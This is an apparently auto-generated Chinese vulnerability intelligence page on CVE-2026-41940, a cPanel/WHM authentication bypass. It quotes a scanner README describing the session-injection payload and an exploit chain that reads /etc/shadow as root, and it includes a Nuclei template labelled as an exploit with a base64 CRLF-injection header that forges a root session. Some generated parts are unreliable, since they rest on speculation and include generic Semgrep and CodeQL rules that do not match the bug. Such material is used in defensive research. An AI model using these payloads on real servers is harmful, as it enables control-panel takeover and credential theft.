🎯 CVE-2026-41940 深度技术分析：漏洞根因 · PoC/EXP · 检测指纹
🎯 CVE 全聚合深度分析
CVE-2026-41940 深度技术分析
📊 聚合 6 来源🧪 含 PoC🕵️ 含指纹
NVD-LatestPoC-in-GitHubExploit-DB-RSSwatchTowr LabsHorizon3 BlogTenable Blog
摘要：CVE-2026-41940 是 cPanel 与 WHM 控制面板登录流程中的一个严重认证绕过漏洞，CVSS 评分为 9.8（Critical），影响所有 11.40 之后的版本。该漏洞允许未认证的远程攻击者绕过身份验证机制，进而未授权访问控制面板的管理功能。公开的 GitHub PoC 仓库（如 assetnote/cpanel2shell-scanner）展示了如何通过 cPanel 虚拟主机的代理路径探测该漏洞，同时分析指出根因涉及 cPanel 反向代理配置与登录状态校验逻辑之间的设计缺陷。
📌 漏洞概述
CVE-2026-41940 是 cPanel 与 WHM 登录流程中的一个认证绕过漏洞。根据 NVD 数据，该漏洞的 CVSS 评分为 9.8，属于严重（Critical）级别。攻击者无需任何凭据，即可通过远程方式利用该漏洞获取控制面板的未授权访问权限。受影响版本为 cPanel and WHM 11.40 之后的所有版本，直至修复版本发布。该漏洞类型为认证绕过（Authentication Bypass），本质上是由于登录流程中的逻辑缺陷导致身份验证可以被规避。
公开的 PoC 资料中，assetnote 发布的 cpanel2shell-scanner 是一个高保真扫描器，专门用于识别受该漏洞影响的主机。其描述指出，大多数公开检测方法存在误报或干扰问题，而该扫描器通过检查代理路径而非仅依赖管理端口来定位漏洞，有效避免了因账户锁定或 IP 白名单机制导致的干扰。这一技术细节为漏洞挖掘和验证提供了重要线索。
🔬 漏洞根因分析
从技术层面分析，CVE-2026-41940 的根因并非单一的代码缺陷，而是 cPanel 在 Apache 虚拟主机配置与登录状态校验之间引入的架构性逻辑错误。根据 cpanel2shell-scanner 项目的描述，cPanel 管理的每个虚拟主机的 Apache 配置中都会安装一个无条件的 ProxyPass 指令，该指令将路径 /___proxy_subdomain_whm 转发至 127.0.0.1:2086（WHM 后端），并将 /___proxy_subdomain_cpanel 转发至 127.0.0.1:2080（cPanel 后端）。这个转发过程不依赖于请求的 Host 头，意味着任何访问该虚拟主机对应代理路径的请求都会被直接发送至内部管理端口。
同时，cPanel 使用 RewriteCond 规则将管理子域映射到这些代理路径。然而开发者仅对重写规则添加了约束条件，却未能对 ProxyPass 本身进行类似限制。这导致即使请求的 Host 头并非管理子域，也能够通过代理路径连接到内部管理服务。攻击者利用这一配置差异，可以在任意虚拟主机上构造对 /___proxy_subdomain_cpanel 或 /___proxy_subdomain_whm 的请求，从而绕过前端访问控制，直接接触后端登录接口。
进一步地，该漏洞与登录流程中的认证状态校验缺陷相结合。正常用户的登录会话通过 Cookie 或 Token 在客户端与后端之间传递，而由于代理路径可以绕过 Host 头限制，后端将请求视为来自可信来源。若此时登录流程中的会话初始化存在竞态条件或未正确校验用户信息，攻击者便可能伪造请求以获取一个已认证的会话。尽管完整漏洞链的细节尚未公开，但扫描器项目明确指出，访问这些代理路径能够“达到与主管理端口相同的脆弱后端”，证实了该代理配置是漏洞的关键入口。
值得注意的是，cpanel2shell-scanner 还附带了一个同族的 CalDAV 路径遍历漏洞（CVE-2026-29205），该漏洞位于 cpdavd 服务（端口 2079/2080）中，允许远程攻击者在特定条件下以 root 身份读取任意文件。虽然这是独立漏洞，但二者共同揭示了 cPanel 在内部组件隔离和输入验证方面存在的系统性缺陷——代理转发、路径处理、权限降级等多个环节均未能形成有效的安全边界。在 CVE-2026-41940 的利用过程中，攻击者通过代理路径进入内网管理接口后，还可能进一步利用类似的逻辑问题来提升权限或横向移动。
💥 影响与危害
成功利用 CVE-2026-41940 将带来以下严重后果：
- 完全接管控制面板：未认证攻击者可以绕过登录流程，直接获得 cPanel 或 WHM 的管理员权限，进而创建/修改账户、修改 DNS 配置、查看敏感文件，甚至重置所有用户密码。
- 服务器沦陷：WHM 允许执行系统级操作（如安装软件、修改防火墙规则），攻击者可能借此在底层操作系统上执行任意命令，实现完全远程代码执行，从而控制整个服务器。
- 数据泄露与供应链风险：cPanel 通常托管大量网站和数据库，攻击者能够窃取所有虚拟主机的数据，包括源代码、数据库凭据、客户信息等，并可能将恶意代码注入被托管站点，影响下游访客。
- 横向渗透可能性：控制面板所在服务器通常是网络中的核心节点，攻击者可利用其作为跳板，进一步攻击内网中的其他服务。
- 持久化与隐蔽性：攻击者可以修改配置、植入后门，并在日志中清除痕迹，实现长期隐蔽控制。
🛡️ 修复与缓解
针对 CVE-2026-41940，cPanel 官方已发布修复版本。根据资料中提到的关联漏洞修复信息，cPanel 11.134.0.26 修复了同族漏洞中 RAII 生命周期缺陷，使路径遍历读取操作以非特权账户权限运行，因此该版本很可能也包含针对 CVE-2026-41940 的修复。具体修复版本号请参考 cPanel 官方安全公告（已于 2026 年相关日期发布）。强烈建议所有用户升级至最新稳定版，最佳实践是启用自动更新。
在无法立即升级的情况下，可采取以下临时缓解措施：
- 限制管理端口访问：通过防火墙规则仅允许可信 IP 访问 2080、2086、2082、2087 等管理端口和代理路径，防止外部直接探测。
- 加强 Apache 配置：在
httpd.conf或虚拟主机配置中为___proxy_subdomain_*路径添加访问控制（如Require ip），阻断外部请求对代理路径的访问。 - 部署 Web 应用防火墙（WAF）：检测并拦截包含
/___proxy_subdomain_特征的恶意请求。 - 监控可疑访问：密切关注日志中访问代理路径的异常请求，以及控制面板登录来自非预期网段的情况。
- 审查现有系统：使用 assetnote 的 cpanel2shell-scanner 等工具对现有主机进行自查，确认是否存在漏洞，并检查是否有被入侵迹象。
此外，由于攻击者可能利用该漏洞与其他组件漏洞（如 CVE-2026-29205）串联使用，建议同步升级系统中的相关组件，并定期进行安全审计。
🧪 PoC 复现
从 GitHub 公开仓库抓取的实际 PoC 代码（仓库）。
📋 代码元数据语言md来源assetnote/cpanel2shell-scanner针对性✅ 已验证与漏洞相关（代码含 CVE 引用）依赖见代码注释/README用法详见代码注释中的使用说明
# cpanel2shell-scanner
A high-fidelity scanner for the cPanel/WHM authentication bypass tracked as
CVE-2026-41940. It identifies vulnerable hosts without producing the
false-negatives common to public proofs-of-concept and detections,and without
triggering the account lockout and root-IP-allowlist mechanisms that interfere
with naive scanning.
The tool also bundles a separate,
opt-in exploit chain for a same-family
CalDAV path-traversal bug on `cpdavd` (ports 2079 plain / 2080 TLS) —
[CVE-2026-29205](https://support.cpanel.net/hc/en-us/articles/40437020299927-Security-CVE-2026-29205-cPanel-WHM-WP2-Security-Update-May-13-2026) —
that lets a remote attacker read arbitrary files **as root**
once a small SMTP-driven setup step succeeds. cPanel 11.134.0.26 fixes the
underlying RAII lifetime bug so the read now runs as the unprivileged account
owner;
the traversal itself still reaches `cpdavd` but cannot escalate beyond
what that account can already read. The CalDAV chain is gated behind
`--exploit` and is **off by default** because it sends real emails and reads
files from confirmed targets — see the
[Exploit mode (active)](#exploit-mode-active) section.
## Why this scanner
Most public detections for CVE-2026-41940 share three problems. This scanner
addresses each of them.
You can read our blog post on this detection technique here: https://slcyber.io/research-center/high-fidelity-check-for-the-cpanel-authentication-bypass-cve-2026-41940/
### It checks the proxy paths,
not just the management ports
cPanel's per-vhost Apache configuration installs a `ProxyPass` that forwards
`/___proxy_subdomain_whm` to `127.0.0.1:2086` and `/___proxy_subdomain_cpanel`
to `127.0.0.1:2080` regardless of the request's `Host` header. The
`RewriteCond` only constrains the rewrite that maps the management subdomain
onto the proxy path;
the `ProxyPass` itself is unconditional. Hitting these
paths on any vhost served by a cPanel-managed Apache reaches the same vulnerable
backend as the management ports.
Scanners that only probe ports 2082/2083/2086/2087 will report a host as not
vulnerable when those ports are firewalled,even though the bug is fully
reachable through 443. This scanner probes 2087,2083,
and the two proxy paths
on 443 by default.
### It does not get blocked by cphulkd or the root-IP allowlist
cPanel ships `cphulkd`,which locks accounts out after a small number of failed
password attempts,and `authorized_whm_root_ips`,
which restricts root logins
to a configured list of source addresses. A scanner that exploits the bypass by
trying to inject a session for `root` will:
- be silently ignored when the scanner's IP is not in the root allowlist,producing a false negative;and
- contribute failed-password events for whichever account it targets,
eventually locking that account out and preventing both detection and
legitimate logins.
This scanner avoids both issues on the WHM side by injecting `expired=1` into
the session payload under a randomly generated username. The session injection
is verified by visiting the resulting `cpsessXXXX` URL and matching
`msg_code:[expired_session]` in the response body,
which is only present when
the injection succeeded. No real account is targeted,so no real account can be
locked out,and the root allowlist is irrelevant because no root login is
attempted.
### It uses a username wordlist where it has to
The cPanel daemon (`cpaneld`,
ports 2083 and the `/___proxy_subdomain_cpanel`
path) requires the supplied username to correspond to an existing cPanel
account on disk (`-f /var/cpanel/users/$user`). A username of `root` will never
satisfy this check because root is a system user,
not a cPanel user. Detections
that try only `root` produce false negatives on this surface. This scanner uses
a configurable wordlist of common cPanel usernames against the cPanel surface
and falls back to the random-username path on the WHM surface,
which has no
such restriction.
## How the detection works
For each target the scanner performs the following steps per surface:
1. Issue `GET /login` and read the `Set-Cookie` header for either
`whostmgrsession` (WHM) or `cpsession` (cPanel). The cookie contains a
comma-separated session-name component.
2. Issue `GET /` with an `Authorization: Basic` header whose decoded value is
`<user>:\xff\nexpired=1`. The trailing `\nexpired=1` is the session-injection
payload. The session cookie from step 1 is replayed unmodified.
3. Read the `Location` header from the response and extract the `cpsessXXXX`
token.
4. Issue `GET /<cpsessXXXX>/` with the original cookie and look for
`msg_code:[expired_session]` in the body. Its presence proves the session
injection succeeded and the host is vulnerable.
On WHM (port 2087 and the `/___proxy_subdomain_whm` path on 443) the username
is a random `u` followed by ten hex characters. On cPanel (port 2083 and the
`/___proxy_subdomain_cpanel` path on 443) the scanner walks its username
wordlist and stops at the first match.
By default the scanner probes 2087,
2083,and 443 in that order and stops as
soon as any surface confirms vulnerability.
## CalDAV path-traversal exploit (`--exploit`)
>**[CVE-2026-29205](https://support.cpanel.net/hc/en-us/articles/40437020299927-Security-CVE-2026-29205-cPanel-WHM-WP2-Security-Update-May-13-2026)**
>— cPanel/WHM WP2 Security Update,May 13 2026. Fixed in cPanel
>
11.134.0.26. The advisory tracks the same `cpdavd` privilege-drop
>
regression this exploit chain abuses.
Full write-up of the bug and the exploitation chain:
https://slcyber.io/research-center/new-age-of-collisions-reading-arbitrary-files-pre-auth-as-root-in-cpanel-cve-2026-29205
`cpdavd` on ports 2079 (plain HTTP) and 2080 (TLS) trusts the
`<principal>/<collection>/...` path it builds when serving CalDAV/CardDAV
resources. By crafting a request whose path component encodes `..` segments
and pointing it at a maildir folder whose on-disk name also encodes traversal
(`x-attachment-1-y`),
`cpdavd` can be coerced into reading **any file on disk
as root,regardless of ownership or permissions** — including `/etc/shadow`,`/etc/passwd`,and the per-user mail spools.
The defense-in-depth that was supposed to drop privileges to the account
owner before the read silently failed: the `Cpanel::AccessIds::ReducedPrivileges`
object was constructed in void context,
so its destructor restored root
privileges before the read ran. cPanel 11.134.0.26 binds the object to a
`my $privs` lexical so it lives through the `-f` / `stat` / `open` / `read`
chain;
on patched hosts the read therefore runs as the unprivileged account
owner instead of root.
The vulnerable folder must exist on disk before the read works. cPanel
auto-creates a folder named `.x-attachment-1-y` for the recipient
`<user>+x-attachment-1-y@<domain>` the first time an email lands at that
sub-address. The chain is therefore:
1. Enumerate plausible recipient domains from the host's TLS certificate SANs.
2. For each domain,
derive candidate local-parts (the domain's first label,plus a small wordlist of common mailbox prefixes such as `info`,`admin`,`webmaster`).
3. Open one SMTP session against a configured outbound relay (e.g. SendGrid)
and send `<prefix>+x-attachment-1-y@<domain>` to each candidate. Accepted
`RCPT TO` responses are tracked.
4. Wait through a retry ladder (5 s,10 s,20 s,
30 s) for the cPanel inbox
delivery to materialise the folder.
5. For each accepted recipient,send the path-traversal `GET` against `cpdavd`
on ports 2080 (TLS) and 2079 (plain),under both the `/calendar/` and
`/addressbook/` collection prefixes.
A success returns the file's bytes;the finding records the email used,the
collection,the byte count,
and the first 200 bytes as a preview.
This check is **disabled unless `--exploit` is passed**. When enabled it
requires a working outbound SMTP relay (see [Configuration file](#configuration-file)
below) because the folder-creation step cannot be skipped.
### Targeted vs sprayed exploitation
The exploit only works against **real virtual email accounts** configured
under cPanel's *Email Accounts* feature. Catch-all addresses do not work — a
catch-all routes via Exim's `system_aliases` router,
never reaches the
`dovecot_virtual_delivery` transport,and therefore never triggers the
`lda_mailbox_autocreate` path that produces the `.x-attachment-1-y/` folder.
When you already know a valid virtual email on the target,
pass it with
`--email`:
```
python scanner.py --config scanner.ini --email admin@target.com target.com
```
`--email` skips the cert-SAN enumeration and the prefix wordlist entirely
and sends exactly one message to the address you supplied. It may be
repeated to target multiple known accounts. The targeted path is much more
reliable than the spray path.
Without `--email`,
the scanner falls back to spraying ~15 common prefixes
(`info`,`admin`,`webmaster`,etc.) per domain extracted from the host's
TLS certificate. Assetnote's measurement on a sample of 200 cpdavd-exposed
hosts was a **~10% spray hit rate**: a clean result from spray-mode is
weak evidence that the host is patched,
and re-running with `--email`
against a real account is the only reliable way to confirm.
## Configuration file
Exploit mode reads an INI file via `--config`:
```
python scanner.py --config scanner.ini --exploit example.com
```
Copy `scanner.ini.example` to `scanner.ini`,fill in the SMTP credentials,
and
optionally tune the CalDAV defaults. `scanner.ini` is in `.gitignore` so the
populated copy stays local. The SMTP password can also be supplied via the
`SCANNER_SMTP_PASSWORD` environment variable,
which takes precedence only when
the `password` field in the file is empty.
## Installation
```
pip install -r requirements.txt
```
Python 3.8 or later is required.
## Usage
Single target:
```
python scanner.py example.com
```
Multiple targets via positional arguments:
```
python scanner.py host-a.example.com host-b.example.com:2083
```
A file of targets,
one per line. Lines starting with `#` are ignored:
```
python scanner.py -f targets.txt
```
Reading targets from stdin:
```
cat targets.txt |python scanner.py
```
A target may be either a hostname or `host:port`. When a port is specified the
scanner only probes that port;otherwise it probes 2087,2083,and 443.
### Common options
- `-u,
--users` — comma-separated cPanel usernames to try on the cPanel
surface. Defaults to a small built-in list.
- `-U,--users-file` — file with one cPanel username per line.
- `-p,--ports` — comma-separated ports to probe when no port is specified on
the target. Defaults to `2087,2083,443`.
- `-t,
--threads` — per-target threads used to walk the username list against
the cPanel surface. Defaults to 10.
- `-c,--concurrency` — number of targets scanned in parallel. Defaults to 20.
- `-T,--timeout` — per-request timeout in seconds. Defaults to 15.
- `-o,--output` — append vulnerable targets,one per line,
to this file as
they are discovered.
- `--json` — write a JSON Lines record per target to this file.
- `-q,--quiet` — only print vulnerable targets on stdout. Connection failures
and clean targets are still recorded in `--json` and counted in the summary.
- `--no-progress` — disable the progress bar.
- `--exploit` — enable the CalDAV path-traversal chain. Disabled by default;
see [Exploit mode (active)](#exploit-mode-active) for the side effects this
flag unlocks.
- `--config` — INI file with the SMTP relay credentials and CalDAV tunables.
See `scanner.ini.example`.
- `--read-file` — file to exfiltrate when the CalDAV chain succeeds.
Overrides the value in the config file. Defaults to `/etc/shadow` — a
root-only file,
so a successful read distinguishes pre-patch (returns
shadow contents) from post-patch (`open` denied,
body empty → reported
NOT VULNERABLE). Use `--read-file /etc/passwd` to test traversal
reachability without distinguishing patched/unpatched.
- `--caldav-only` — skip the 41940 check and only run the CalDAV chain.
Implies `--exploit`. Useful for re-running the chain against a target list
already known to be CalDAV-reachable.
- `--email ADDR` — known virtual email account on the target. Skips cert SAN
enumeration and the spray wordlist;
sends exactly one message to `ADDR` and
reads against that principal. May be repeated. Implies `--exploit`. See
[Targeted vs sprayed exploitation](#targeted-vs-sprayed-exploitation).
- `-v,--verbose` — emit per-domain progress for the CalDAV chain
(cert SAN list,spray count,retry ladder).
### Output
One line is written to stdout per *finding*,
so a target running both checks
will print twice:
```
[!] host cve-2026-41940 VULNERABLE (port 443)
[!] host caldav-traversal VULNERABLE via admin@host (read 1842b from /etc/passwd)
[+] host cve-2026-41940 NOT VULNERABLE
[?] host cve-2026-41940 CONNECTION FAILED
```
The `--json` output is one record per target with a `findings` array:
```json
{"target": "host",
"status": "VULNERABLE","findings": [
{"check": "cve-2026-41940","status": "VULNERABLE","detail": {"port": 443}},{"check": "caldav-traversal","status": "VULNERABLE","detail": {"email": "admin@host","domain": "host","collection": "calendar","file": "/etc/shadow","bytes": 1218,"preview": "root:$6$..."}}]}
```
`status` at the top level is the worst case across all findings.
A summary line with totals is written to stderr at the end. The progress bar
is rendered on stderr and is automatically suppressed when stderr is not a
terminal.
The exit code is `0` if any target is vulnerable,`1` if every reachable target
was clean,and `2` if no target could be reached.
### Examples
Scan a list of targets,
write hits to a file,and stay quiet on stdout:
```
python scanner.py -f targets.txt -o vulnerable.txt -q
```
Scan with a custom username list against the cPanel surface,increased
parallelism,
and JSON output for downstream processing:
```
python scanner.py -f targets.txt -U cpanel-users.txt -c 100 --json results.jsonl
```
Probe a non-default port set:
```
python scanner.py -p 2083,2087,8443 -f targets.txt
```
Run the CalDAV chain end-to-end against a single target with the email-spray
fallback (requires a populated `scanner.ini`):
```
python scanner.py --config scanner.ini --exploit example.com
```
Targeted exploitation against a known virtual email — much higher hit rate
than spray:
```
python scanner.py --config scanner.ini --email admin@example.com example.com
```
Run only the CalDAV chain against a list of confirmed cpdavd hosts,
dumping
`/etc/passwd` previews to JSON:
```
python scanner.py --config scanner.ini --caldav-only \
-f cpdavd-hosts.txt --json caldav-results.jsonl
```
## Notes on safety
### Default mode (safe)
The default `scanner.py <target>` invocation only runs the CVE-2026-41940
detector. It sends the requests required to confirm the session injection and
nothing else. It does not log in as any real user,
does not target the `root`
account,does not escalate to a shell,
and does not accumulate failed-password
events against any valid account on a target system. The marker it matches
(`msg_code:[expired_session]`) is generated by the application itself in
response to the injected `expired=1` session field and is the same indicator
the upstream cPanel login page uses when a legitimately expired session is
replayed.
### Exploit mode (active)
Passing `--exploit` (or `--caldav-only`) unlocks the CalDAV path-traversal
chain. This is no longer a detector — it is a working exploit. When enabled
the scanner will,
for every target where domain enumeration succeeds:
- open a real SMTP session against the relay configured in `scanner.ini` and
send one short message per candidate recipient (typically 10–15 per domain,3 domains per target);- wait up to ~65 seconds per domain for delivery to materialise the malicious
maildir folder;
- attempt to read the configured `--read-file` from every confirmed target.
The default file is `/etc/shadow`. A successful read returns the file's
bytes;an empty body indicates either an unreachable target or a host where
the privilege-drop fix (cPanel 11.134.0.26,`my $privs = …`) is in place.
Detection compares received body length to zero,
not to the response's
advertised `Content-Length` (which is derived from `stat()` on the
attacker-chosen path and will be populated even when the subsequent `open()`
is denied).
To test traversal reachability independently of the privilege-drop fix —
e.g. when you want to know whether `cpdavd` is reachable and the maildir
prerequisite was satisfied on a patched host — re-run with
`--read-file /etc/passwd`. `/etc/passwd` is world-readable so it returns
bytes on both pre-patch and post-patch hosts;
combining the two signals
(`/etc/shadow` body present = pre-patch root read;
`/etc/shadow` empty +
`/etc/passwd` present = traversal reachable but priv-drop fix applied)
classifies a host unambiguously.
The contents and a 200-byte preview are written to the JSONL output and
printed on stdout. Per-domain CalDAV exploitation can take a minute or
more — this is the retry ladder waiting for mail delivery,
not a hang.
Only run `--exploit` against assets you own or have explicit written
authorisation to test. The SMTP traffic is logged by the configured relay and
by every recipient mail system;the file reads are logged by `cpdavd`.⚔️ EXP 利用代码
截至分析时，Exploit-DB 未收录该 CVE 的公开利用代码。可利用上述 PoC 进行验证，或关注 Exploit-DB 更新。
🕵️ 检测指纹
针对该 CVE 的自动化检测规则（可直接用于扫描与审计）。
🛡️ Nuclei 检测模板: CVE-2026-41940-detection.yaml
📋 代码元数据语言yaml来源rules/nuclei/CVE-2026-41940-detection.yaml针对性✅ 按 CVE 匹配依赖nuclei用法nuclei -t CVE-2026-41940-detection.yaml -u
id: CVE-2026-41940-detection
info:
name: cPanel CRLF Injection Detection
author: your-name
severity: high
description: Detects vulnerable cPanel versions by checking for specific headers or version strings.
tags: cpanel,crlf,injection
http:
- method: GET
path:
- "{{BaseURL}}/login/"
host-redirects: true
max-redirects: 3
matchers-condition: and
matchers:
- type: word
part: header
words:
- "cpsrvd"
- type: status
status:
- 200
- 302🛡️ Nuclei 检测模板: CVE-2026-41940-exploit.yaml
📋 代码元数据语言yaml来源rules/nuclei/CVE-2026-41940-exploit.yaml针对性✅ 按 CVE 匹配依赖nuclei用法nuclei -t CVE-2026-41940-exploit.yaml -u
id: CVE-2026-41940-exploit
info:
name: cPanel CRLF Injection Exploit
author: your-name
severity: high
description: Exploits CRLF injection in cPanel/WHM to bypass authentication and obtain an admin session token.
http:
- raw:
- |POST /login/?login_only=1 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Connection: close
user=root&pass=wrong_pass
- |GET / HTTP/1.1
Host: {{Hostname}}Authorization: Basic cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x
Cookie: whostmgrsession={{session}}
Connection: close
extractors:
- type: regex
name: token
part: header
internal: true
regex:
- '/cpsess\d{10}'
matchers:
- type: regex
part: header
regex:
- '/cpsess\d{10}'
condition: or🛡️ Semgrep 审计规则: CVE-2026-41940.yaml
📋 代码元数据语言yaml来源rules/semgrep/CVE-2026-41940.yaml针对性✅ 按 CVE 匹配依赖semgrep用法semgrep --config CVE-2026-41940.yaml
rules:
- id: cve-2026-41940-web-config
languages:
- generic
severity: WARNING
message: "Potential security misconfiguration in cPanel/WHM related to CVE-2026-41940 - browser verification bypass"
patterns:
- pattern-either:
- pattern: "Cookies: $COOKIES"
- pattern: "JavaScript: $JS"
fix: |
# Ensure cookies and JavaScript are properly configured and validated
# Review cPanel/WHM configuration for strict browser verification
metadata:
cwe: "CWE-287"
owasp: "A1: Broken Access Control"
technology: cpanel
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2026-41940"🛡️ CodeQL 审计规则: CVE-2026-41940.ql
📋 代码元数据语言ql来源rules/codeql/CVE-2026-41940.ql针对性✅ 按 CVE 匹配依赖codeql用法codeql database run
/**
* @kind path-problem
* @id javascript/command-injection/cve-2026-41940
* @name Command injection in cPanel &WHM
* @description User-controlled input flows to a command execution function without sanitization,leading to command injection in cPanel &
WHM.
* @problem.severity error
* @tags security
* external/cwe/cwe-078
*/
import javascript
import semmle.javascript.security.dataflow.CommandInjectionQuery
import CommandInjectionFlow::PathGraph
from CommandInjectionFlow::PathNode source,CommandInjectionFlow::PathNode sink
where CommandInjectionFlow::flowPath(source,sink)
select sink.getNode(),source,sink,
"User input flows to a command execution call - potential command injection."🤖 本文由漏洞情报系统自动聚合生成 · 2026-08-02 08:33 · 数据源: NVD/GitHub-Advisory/OSV/CISA-KEV/Exploit-DB/PoC-in-GitHub + 检测规则库